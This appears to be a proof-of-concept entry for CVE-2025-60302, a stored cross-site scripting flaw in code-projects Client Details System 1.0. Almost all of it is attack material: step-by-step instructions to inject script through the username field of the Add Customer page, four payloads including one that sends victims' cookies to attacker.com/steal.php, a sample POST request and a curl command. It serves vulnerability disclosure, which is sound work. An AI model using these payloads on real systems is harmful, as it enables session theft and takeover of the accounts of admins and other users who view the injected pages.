CVE-2025-60302：code-projects Client Details System 1.0 跨站脚本漏洞

<!-- CVE-2025-60302 PoC: Stored XSS in code-projects Client Details System 1.0 --> <!-- Attack Vector: Inject malicious JavaScript via the username field when adding customer information --> <!-- Step 1: Navigate to the "Add Customer" page --> <!-- Step 2: Fill in the customer form with the following malicious payload in the username field --> <!-- Payload 1: Basic alert script --> <script>alert('XSS-Vulnerability-CVE-2025-60302')</script> <!-- Payload 2: Cookie stealing (for demonstration) --> <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 3: Event-based XSS --> <img src=x onerror=alert(document.cookie)> <!-- Payload 4: SVG-based XSS --> <svg onload=alert(1)> <!-- Step 3: Submit the form to store the malicious payload in the database --> <!-- Step 4: When any user (especially admin) views the customer list or details page, --> <!-- the injected JavaScript will execute in their browser context --> <!-- HTTP Request Example (conceptual) --> <!-- POST /add_customer.php HTTP/1.1 Host: target-host.com Content-Type: application/x-www-form-urlencoded username=<script>alert(document.cookie)</script>&[email protected]&phone=1234567890&address=test --> <!-- cURL command for testing --> <!-- curl -X POST "http://target-host.com/add_customer.php" \ -d "username=<script>alert('XSS')</script>&[email protected]&phone=1234567890&address=test" -->